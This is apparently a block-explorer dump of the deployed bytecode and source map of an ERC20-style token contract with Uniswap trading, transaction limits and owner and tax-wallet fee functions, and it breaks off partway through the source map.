92915050565b5f6103de6009600a611990565b6103ec90633b9aca0061199e565b905090565b5f6103fd848484610c06565b61044e843361044985604051806060016040528060288152602001611b32602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ae565b610ae2565b5060019392505050565b5f546001600160a01b0316331461048a5760405162461bcd60e51b8152600401610481906119b5565b60405180910390fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156104c0573d5f803e3d5ffd5b50565b6004546001600160a01b0316336001600160a01b0316146104e2575f80fd5b305f90815260016020526040902054801561050057610500816111e6565b478015610510576105108161138f565b5050565b5f546001600160a01b0316331461053d5760405162461bcd60e51b8152600401610481906119b5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ae5760405162461bcd60e51b8152600401610481906119b5565b6105ba6009600a611990565b6105c890633b9aca0061199e565b600d556105d76009600a611990565b6105e590633b9aca0061199e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106156009600a611990565b61062390633b9aca0061199e565b60405190815260200160405180910390a1565b5f6103c7338484610c06565b5f546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610481906119b5565b601154600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610481565b6011805460ff60a01b1916600160a01b17905561070b30737a250d5630b4cf539739df2c5dacb4c659f2488d6106fd6009600a611990565b61044990633b9aca0061199e565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077f91906119ea565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107de573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080291906119ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561084c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087091906119ea565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108d15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610937573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095c9190611a05565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af11580156109c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e59190611a30565b506011805460ff60b01b1916600160b01b179055565b5f546001600160a01b03163314610a245760405162461bcd60e51b8152600401610481906119b5565b6001600160a01b038116610a895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610481565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610481565b6001600160a01b038216610ba55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610481565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610481565b6001600160a01b038216610ccc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610481565b5f8111610d2d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610481565b601154600160a81b900460ff1680610d4f5750601154600160a01b900460ff16155b15610d6457610d5f8383836113c6565b505050565b5f80546001600160a01b03858116911614801590610d8f57505f546001600160a01b03848116911614155b8015610da957506004546001600160a01b03848116911614155b1561101157610dda6064610dd4600954600c5411610dc957600554610dcd565b6007545b8590611469565b906114ee565b6011549091506001600160a01b038581169116148015610e1757506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610e3b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f2157600d54821115610e925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610481565b600e5482610eb4856001600160a01b03165f9081526001602052604090205490565b610ebe9190611a4f565b1115610f0c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610481565b600c8054905f610f1b83611a62565b91905055505b6011546001600160a01b038481169116148015610f4757506001600160a01b0384163014155b15610f7457610f716064610dd4600a54600c5411610f6757600654610dcd565b6008548590611469565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610faa57506011546001600160a01b038581169116145b8015610fbf5750601154600160b01b900460ff165b8015610fcc5750600f5481115b8015610fdb5750600b54600c54115b1561100f57610ffd610ff884610ff38460105461152f565b61152f565b6111e6565b47801561100d5761100d4761138f565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061104e57506001600160a01b0383165f9081526003602052604090205460ff165b801561106357506001600160a01b0384163014155b801561107857506001600160a01b0383163014155b1561108257436013555b6001600160a01b0384165f9081526003602052604090205460ff161580156110c257506001600160a01b0383165f9081526003602052604090205460ff16155b1561119c576011546001600160a01b03848116911614611169576001600160a01b038084165f9081526012602052604090206011549091908116908616036111315780545f0361112c57600b54600c541161112757611122600143611a7a565b611129565b435b81555b611163565b6001600160a01b0385165f90815260126020526040902081548154108061115757508154155b1561116157805482555b505b5061119c565b6001600160a01b0384165f908152601260205260409020601354815461118f9190611a7a565b6002820155426001909101555b6111a884848484611543565b50505050565b5f81848411156111d15760405162461bcd60e51b81526004016104819190611799565b505f6111dd8486611a7a565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122c5761122c611a8d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561129c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c091906119ea565b816001815181106112d3576112d3611a8d565b60200260200101906001600160a01b031690816001600160a01b03168152505061131230737a250d5630b4cf539739df2c5dacb4c659f2488d84610ae2565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906113519085905f90869030904290600401611aa1565b5f604051808303815f87803b158015611368575f80fd5b505af115801561137a573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610510573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113e8908261156d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461141690826115ae565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bf99085815260200190565b5f825f0361147857505f6103cb565b5f611483838561199e565b9050826114908583611b12565b146114e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610481565b9392505050565b5f6114e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160c565b5f81831161153d57826114e7565b50919050565b5f61154f858484611638565b9050611566858583611561878761156d565b6116e8565b5050505050565b5f6114e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ae565b5f806115ba8385611a4f565b9050838110156114e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610481565b5f818361162c5760405162461bcd60e51b81526004016104819190611799565b505f6111dd8486611b12565b6004545f9081906001600160a01b03908116908616036116645760145461165f9085611469565b611666565b835b905082156116e057305f9081526001602052604090205461168790846115ae565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116d79087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461170a908361156d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461173890826115ae565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061178b9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104c0575f80fd5b5f80604083850312156117f3575f80fd5b82356117fe816117ce565b946020939093013593505050565b5f805f6060848603121561181e575f80fd5b8335611829816117ce565b92506020840135611839816117ce565b929592945050506040919091013590565b5f6020828403121561185a575f80fd5b81356114e7816117ce565b5f8060408385031215611876575f80fd5b8235611881816117ce565b91506020830135611891816117ce565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118ea57815f19048211156118d0576118d061189c565b808516156118dd57918102915b93841c93908002906118b5565b509250929050565b5f82611900575060016103cb565b8161190c57505f6103cb565b8160018114611922576002811461192c57611948565b60019150506103cb565b60ff84111561193d5761193d61189c565b50506001821b6103cb565b5060208310610133831016604e8410600b841016171561196b575081810a6103cb565b61197583836118b0565b805f19048211156119885761198861189c565b029392505050565b5f6114e760ff8416836118f2565b80820281158282048414176103cb576103cb61189c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119fa575f80fd5b81516114e7816117ce565b5f805f60608486031215611a17575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a40575f80fd5b815180151581146114e7575f80fd5b808201808211156103cb576103cb61189c565b5f60018201611a7357611a7361189c565b5060010190565b818103818111156103cb576103cb61189c565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611af15784516001600160a01b031683529383019391830191600101611acc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b2c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5408e5d3e123c0f2c90be553c58940a340417e45158b3c89bc86c7eec4998cf64736f6c63430008190033
Deployed Bytecode Sourcemap
4200:9928:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6251:83;;;;;;;;;;-1:-1:-1;6321:5:0;;;;;;;;;;;;-1:-1:-1;;;6321:5:0;;;;6251:83;;;;;;;:::i;:::-;;;;;;;;7084:161;;;;;;;;;;-1:-1:-1;7084:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7084:161:0;893:187:1;5236:52:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5236:52:0;1085:177:1;6528:95:0;;;;;;;;;;;;;:::i;7253:312::-;;;;;;;;;;-1:-1:-1;7253:312:0;;;;;:::i;:::-;;:::i;6437:83::-;;;;;;;;;;-1:-1:-1;6437:83:0;;4858:1;1870:36:1;;1858:2;1843:18;6437:83:0;1728:184:1;13043:143:0;;;;;;;;;;;;;:::i;:::-;;13776:349;;;;;;;;;;;;;:::i;6631:119::-;;;;;;;;;;-1:-1:-1;6631:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6724:18:0;6697:7;6724:18;;;:9;:18;;;;;;;6631:119;3041:150;;;;;;;;;;;;;:::i;12773:162::-;;;;;;;;;;;;;:::i;5047:54::-;;;;;;;;;;;;;;;;2827:79;;;;;;;;;;-1:-1:-1;2865:7:0;2892:6;2827:79;;-1:-1:-1;;;;;2892:6:0;;;2315:51:1;;2303:2;2288:18;2827:79:0;2169:203:1;5108:56:0;;;;;;;;;;;;;;;;6342:87;;;;;;;;;;-1:-1:-1;6414:7:0;;;;;;;;;;;;-1:-1:-1;;;6414:7:0;;;;6342:87;;6758:167;;;;;;;;;;-1:-1:-1;6758:167:0;;;;;:::i;:::-;;:::i;5171:58::-;;;;;;;;;;;;;;;;13194:537;;;;;;;;;;;;;:::i;6933:143::-;;;;;;;;;;-1:-1:-1;6933:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7041:18:0;;;7014:7;7041:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6933:143;3199:244;;;;;;;;;;-1:-1:-1;3199:244:0;;;;;:::i;:::-;;:::i;7084:161::-;7159:4;7176:39;470:10;7199:7;7208:6;7176:8;:39::i;:::-;-1:-1:-1;7233:4:0;7084:161;;;;;:::o;6528:95::-;6581:7;4914:13;4858:1;4914:2;:13;:::i;:::-;4901:26;;:10;:26;:::i;:::-;6601:14;;6528:95;:::o;7253:312::-;7351:4;7368:36;7378:6;7386:9;7397:6;7368:9;:36::i;:::-;7415:120;7424:6;470:10;7445:89;7483:6;7445:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7445:19:0;;;;;;:11;:19;;;;;;;;470:10;7445:33;;;;;;;;;;:37;:89::i;:::-;7415:8;:120::i;:::-;-1:-1:-1;7553:4:0;7253:312;;;;;:::o;13043:143::-;2954:6;;-1:-1:-1;;;;;2954:6:0;470:10;2954:22;2946:67;;;;-1:-1:-1;;;2946:67:0;;;;;;;:::i;:::-;;;;;;;;;13111:10:::1;::::0;13103:75:::1;::::0;-1:-1:-1;;;;;13111:10:0;;::::1;::::0;13146:21:::1;13103:75:::0;::::1;;;::::0;13111:10:::1;13103:75:::0;13111:10;13103:75;13146:21;13111:10;13103:75;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13043:143::o:0;13776:349::-;13840:10;;-1:-1:-1;;;;;13840:10:0;470;-1:-1:-1;;;;;13826:24:0;;13818:33;;;;;;13901:4;13862:20;6724:18;;;:9;:18;;;;;;13921:14;;13918:74;;13950:30;13967:12;13950:16;:30::i;:::-;14021:21;14056:12;;14053:65;;14082:24;14095:10;14082:12;:24::i;:::-;13807:318;;13776:349::o;3041:150::-;2954:6;;-1:-1:-1;;;;;2954:6:0;470:10;2954:22;2946:67;;;;-1:-1:-1;;;2946:67:0;;;;;;;:::i;:::-;3150:1:::1;3134:6:::0;;3113:40:::1;::::0;-1:-1:-1;;;;;3134:6:0;;::::1;::::0;3113:40:::1;::::0;3150:1;;3113:40:::1;3181:1;3164:19:::0;;-1:-1:-1;;;;;;3164:19:0::1;::::0;;3041:150::o;12773:162::-;2954:6;;-1:-1:-1;;;;;2954:6:0;470:10;2954:22;2946:67;;;;-1:-1:-1;;;2946:67:0;;;;;;;:::i;:::-;4914:13:::1;4858:1;4914:2;:13;:::i;:::-;4901:26;::::0;:10:::1;:26;:::i;:::-;12829:12;:22:::0;4914:13:::1;4858:1;4914:2;:13;:::i;:::-;4901:26;::::0;:10:::1;:26;:::i;:::-;12862:14;:22:::0;12900:27:::1;4914:13;4858:1;4914:2;:13;:::i;:::-;4901:26;::::0;:10:::1;:26;:::i;:::-;12900:27;::::0;1231:25:1;;;1219:2;1204:18;12900:27:0::1;;;;;;;12773:162::o:0;6758:167::-;6836:4;6853:42;470:10;6877:9;6888:6;6853:9;:42::i;13194:537::-;2954:6;;-1:-1:-1;;;;;2954:6:0;470:10;2954:22;2946:67;;;;-1:-1:-1;;;2946:67:0;;;;;;;:::i;:::-;13258:11:::1;::::0;-1:-1:-1;;;13258:11:0;::::1;;;13257:12;13249:48;;;::::0;-1:-1:-1;;;13249:48:0;;5015:2:1;13249:48:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;13249:48:0::1;4813:347:1::0;13249:48:0::1;13308:11;:18:::0;;-1:-1:-1;;;;13308:18:0::1;-1:-1:-1::0;;;13308:18:0::1;::::0;;13337:51:::1;13354:4;5352:42;4914:13;4858:1;4914:2;:13;:::i;:::-;4901:26;::::0;:10:::1;:26;:::i;13337:51::-;5352:42;-1:-1:-1::0;;;;;13424:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13412:43:0::1;;13464:4;5352:42;-1:-1:-1::0;;;;;13470:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13412:75;::::0;-1:-1:-1;;;;;;13412:75:0::1;::::0;;;;;;-1:-1:-1;;;;;5651:15:1;;;13412:75:0::1;::::0;::::1;5633:34:1::0;5703:15;;5683:18;;;5676:43;5568:18;;13412:75:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13399:10;:88:::0;;-1:-1:-1;;;;;;13399:88:0::1;-1:-1:-1::0;;;;;13399:88:0;;;::::1;::::0;;;::::1;::::0;;13562:4:::1;-1:-1:-1::0;6724:18:0;;;-1:-1:-1;6724:18:0;;;;;;5352:42:::1;::::0;13498:25:::1;::::0;13531:21:::1;::::0;13562:4;13593:1:::1;13595::::0;13597:7:::1;2865::::0;2892:6;-1:-1:-1;;;;;2892:6:0;;2827:79;13597:7:::1;13498:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13498:123:0;;;-1:-1:-1;;;;;6089:15:1;;;13498:123:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;13605:15:0::1;6303:19:1::0;;;6296:35;6005:19;;13498:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13639:10:0::1;::::0;13632:62:::1;::::0;-1:-1:-1;;;13632:62:0;;5352:42:::1;13632:62;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;-1:-1:-1;;;;;13639:10:0;;::::1;::::0;-1:-1:-1;13632:26:0::1;::::0;6800:18:1;;13632:62:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13705:11:0::1;:18:::0;;-1:-1:-1;;;;13705:18:0::1;-1:-1:-1::0;;;13705:18:0::1;::::0;;13194:537::o;3199:244::-;2954:6;;-1:-1:-1;;;;;2954:6:0;470:10;2954:22;2946:67;;;;-1:-1:-1;;;2946:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3288:22:0;::::1;3280:73;;;::::0;-1:-1:-1;;;3280:73:0;;7416:2:1;3280:73:0::1;::::0;::::1;7398:21:1::0;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:36;7591:19;;3280:73:0::1;7214:402:1::0;3280:73:0::1;3390:6;::::0;;3369:38:::1;::::0;-1:-1:-1;;;;;3369:38:0;;::::1;::::0;3390:6;::::1;::::0;3369:38:::1;::::0;::::1;3418:6;:17:::0;;-1:-1:-1;;;;;;3418:17:0::1;-1:-1:-1::0;;;;;3418:17:0;;;::::1;::::0;;;::::1;::::0;;3199:244::o;7573:335::-;-1:-1:-1;;;;;7666:19:0;;7658:68;;;;-1:-1:-1;;;7658:68:0;;7823:2:1;7658:68:0;;;7805:21:1;7862:2;7842:18;;;7835:30;7901:34;7881:18;;;7874:62;-1:-1:-1;;;7952:18:1;;;7945:34;7996:19;;7658:68:0;7621:400:1;7658:68:0;-1:-1:-1;;;;;7745:21:0;;7737:68;;;;-1:-1:-1;;;7737:68:0;;8228:2:1;7737:68:0;;;8210:21:1;8267:2;8247:18;;;8240:30;8306:34;8286:18;;;8279:62;-1:-1:-1;;;8357:18:1;;;8350:32;8399:19;;7737:68:0;8026:398:1;7737:68:0;-1:-1:-1;;;;;7816:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7868:32;;1231:25:1;;;7868:32:0;;1204:18:1;7868:32:0;;;;;;;;7573:335;;;:::o;8177:3013::-;-1:-1:-1;;;;;8270:18:0;;8262:68;;;;-1:-1:-1;;;8262:68:0;;8631:2:1;8262:68:0;;;8613:21:1;8670:2;8650:18;;;8643:30;8709:34;8689:18;;;8682:62;-1:-1:-1;;;8760:18:1;;;8753:35;8805:19;;8262:68:0;8429:401:1;8262:68:0;-1:-1:-1;;;;;8349:16:0;;8341:64;;;;-1:-1:-1;;;8341:64:0;;9037:2:1;8341:64:0;;;9019:21:1;9076:2;9056:18;;;9049:30;9115:34;9095:18;;;9088:62;-1:-1:-1;;;9166:18:1;;;9159:33;9209:19;;8341:64:0;8835:399:1;8341:64:0;8438:1;8424:11;:15;8416:69;;;;-1:-1:-1;;;8416:69:0;;9441:2:1;8416:69:0;;;9423:21:1;9480:2;9460:18;;;9453:30;9519:34;9499:18;;;9492:62;-1:-1:-1;;;9570:18:1;;;9563:39;9619:19;;8416:69:0;9239:405:1;8416:69:0;8502:6;;-1:-1:-1;;;8502:6:0;;;;;:22;;-1:-1:-1;8513:11:0;;-1:-1:-1;;;8513:11:0;;;;8512:12;8502:22;8498:113;;;8541:37;8556:4;8562:2;8566:11;8541:14;:37::i;:::-;8177:3013;;;:::o;8498:113::-;8623:17;2892:6;;-1:-1:-1;;;;;8657:15:0;;;2892:6;;8657:15;;;;:32;;-1:-1:-1;2865:7:0;2892:6;-1:-1:-1;;;;;8676:13:0;;;2892:6;;8676:13;;8657:32;:52;;;;-1:-1:-1;8699:10:0;;-1:-1:-1;;;;;8693:16:0;;;8699:10;;8693:16;;8657:52;8653:1337;;;8738:122;8856:3;8738:95;8785:15;;8773:9;;:27;8772:60;;8818:14;;8772:60;;;8803:12;;8772:60;8738:11;;:33;:95::i;:::-;:117;;:122::i;:::-;8888:10;;8726:134;;-1:-1:-1;;;;;;8881:17:0;;;8888:10;;8881:17;:44;;;;-1:-1:-1;;;;;;8902:23:0;;5352:42;8902:23;;8881:44;:63;;;;-1:-1:-1;;;;;;8932:12:0;;;;;;:8;:12;;;;;;;;8930:14;8881:63;8877:302;;;8988:12;;8973:11;:27;;8965:65;;;;-1:-1:-1;;;8965:65:0;;9851:2:1;8965:65:0;;;9833:21:1;9890:2;9870:18;;;9863:30;9929:27;9909:18;;;9902:55;9974:18;;8965:65:0;9649:349:1;8965:65:0;9088:14;;9073:11;9057:13;9067:2;-1:-1:-1;;;;;6724:18:0;6697:7;6724:18;;;:9;:18;;;;;;;6631:119;9057:13;:27;;;;:::i;:::-;:45;;9049:84;;;;-1:-1:-1;;;9049:84:0;;10335:2:1;9049:84:0;;;10317:21:1;10374:2;10354:18;;;10347:30;10413:28;10393:18;;;10386:56;10459:18;;9049:84:0;10133:350:1;9049:84:0;9152:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8877:302;9203:10;;-1:-1:-1;;;;;9198:15:0;;;9203:10;;9198:15;:39;;;;-1:-1:-1;;;;;;9217:20:0;;9232:4;9217:20;;9198:39;9195:222;;;9270:131;9397:3;9270:100;9319:16;;9309:9;;:26;9308:61;;9354:15;;9308:61;;;9338:13;;9270:11;;:37;:100::i;:131::-;9258:143;;9195:222;9482:4;9433:28;6724:18;;;:9;:18;;;;;;9508:6;;-1:-1:-1;;;9508:6:0;;;;9507:7;:44;;;;-1:-1:-1;9541:10:0;;-1:-1:-1;;;;;9535:16:0;;;9541:10;;9535:16;9507:44;:59;;;;-1:-1:-1;9555:11:0;;-1:-1:-1;;;9555:11:0;;;;9507:59;:103;;;;;9593:17;;9570:20;:40;9507:103;:154;;;;;9643:18;;9631:9;;:30;9507:154;9503:476;;;9696:74;9713:56;9717:11;9730:38;9734:20;9756:11;;9730:3;:38::i;:::-;9713:3;:56::i;:::-;9696:16;:74::i;:::-;9818:21;9862:22;;9858:106;;9909:35;9922:21;9909:12;:35::i;:::-;9677:302;9503:476;8711:1279;8653:1337;-1:-1:-1;;;;;10006:14:0;;;;;;:8;:14;;;;;;;;;:29;;-1:-1:-1;;;;;;10023:12:0;;;;;;:8;:12;;;;;;;;10006:29;10005:68;;;;-1:-1:-1;;;;;;10053:20:0;;10068:4;10053:20;;10005:68;:90;;;;-1:-1:-1;;;;;;10077:18:0;;10090:4;10077:18;;10005:90;10002:155;;;10133:12;10112:18;:33;10002:155;-1:-1:-1;;;;;10188:14:0;;;;;;:8;:14;;;;;;;;10186:16;:47;;;;-1:-1:-1;;;;;;10221:12:0;;;;;;:8;:12;;;;;;;;10220:13;10186:47;10169:953;;;10269:10;;-1:-1:-1;;;;;10263:16:0;;;10269:10;;10263:16;10259:852;;-1:-1:-1;;;;;10331:17:0;;;10300:28;10331:17;;;:13;:17;;;;;10379:10;;10331:17;;10379:10;;;10371:18;;;;10367:496;;10418:14;;;:19;10414:153;;10492:18;;10482:9;;:28;:61;;10528:15;10542:1;10528:12;:15;:::i;:::-;10482:61;;;10513:12;10482:61;10465:78;;10414:153;10367:496;;;-1:-1:-1;;;;;10650:19:0;;10615:32;10650:19;;;:13;:19;;;;;10717:14;;10696:18;;:35;;:60;;-1:-1:-1;10737:14:0;;:18;10696:60;10692:152;;;10802:18;;10785:35;;10692:152;10592:271;10367:496;10281:597;10259:852;;;-1:-1:-1;;;;;10938:19:0;;10903:32;10938:19;;;:13;:19;;;;;11021:18;;11002;;:37;;11021:18;11002:37;:::i;:::-;10976:23;;;:63;11080:15;11058:19;;;;:37;10259:852;11134:48;11149:4;11155:2;11159:11;11172:9;11134:14;:48::i;:::-;8251:2939;8177:3013;;;:::o;1721:190::-;1807:7;1843:12;1835:6;;;;1827:29;;;;-1:-1:-1;;;1827:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1867:9:0;1879:5;1883:1;1879;:5;:::i;:::-;1867:17;1721:190;-1:-1:-1;;;;;1721:190:0:o;12300:465::-;5847:6;:13;;-1:-1:-1;;;;5847:13:0;-1:-1:-1;;;5847:13:0;;;12402:16:::1;::::0;;12416:1:::1;12402:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12402:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12402:16:0::1;12378:40;;12447:4;12429;12434:1;12429:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12429:23:0::1;;;-1:-1:-1::0;;;;;12429:23:0::1;;;::::0;::::1;5352:42;-1:-1:-1::0;;;;;12473:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12463:4;12468:1;12463:7;;;;;;;;:::i;:::-;;;;;;:26;-1:-1:-1::0;;;;;12463:26:0::1;;;-1:-1:-1::0;;;;;12463:26:0::1;;;::::0;::::1;12500:56;12517:4;5352:42;12544:11;12500:8;:56::i;:::-;12567:190;::::0;-1:-1:-1;;;12567:190:0;;5352:42:::1;::::0;12567:60:::1;::::0;:190:::1;::::0;12642:11;;12668:1:::1;::::0;12684:4;;12711::::1;::::0;12731:15:::1;::::0;12567:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5883:6:0;:14;;-1:-1:-1;;;;5883:14:0;;;-1:-1:-1;;;;12300:465:0:o;12943:92::-;13000:10;;:27;;-1:-1:-1;;;;;13000:10:0;;;;:27;;;;;13020:6;;13000:10;:27;:10;:27;13020:6;13000:10;:27;;;;;;;;;;;;;;;;;;;7916:253;-1:-1:-1;;;;;8025:15:0;;;;;;:9;:15;;;;;;:32;;8045:11;8025:19;:32::i;:::-;-1:-1:-1;;;;;8007:15:0;;;;;;;:9;:15;;;;;;:50;;;;8084:13;;;;;;;:30;;8102:11;8084:17;:30::i;:::-;-1:-1:-1;;;;;8068:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8130:31;;;;;;;;;;8149:11;1231:25:1;;1219:2;1204:18;;1085:177;1919:246:0;1977:7;2001:1;2006;2001:6;1997:47;;-1:-1:-1;2031:1:0;2024:8;;1997:47;2054:9;2066:5;2070:1;2066;:5;:::i;:::-;2054:17;-1:-1:-1;2099:1:0;2090:5;2094:1;2054:17;2090:5;:::i;:::-;:10;2082:56;;;;-1:-1:-1;;;2082:56:0;;12434:2:1;2082:56:0;;;12416:21:1;12473:2;12453:18;;;12446:30;12512:34;12492:18;;;12485:62;-1:-1:-1;;;12563:18:1;;;12556:31;12604:19;;2082:56:0;12232:397:1;2082:56:0;2156:1;1919:246;-1:-1:-1;;;1919:246:0:o;2173:132::-;2231:7;2258:39;2262:1;2265;2258:39;;;;;;;;;;;;;;;;;:3;:39::i;12194:98::-;12251:7;12278:1;12276;:3;12275:9;;12283:1;12275:9;;;-1:-1:-1;12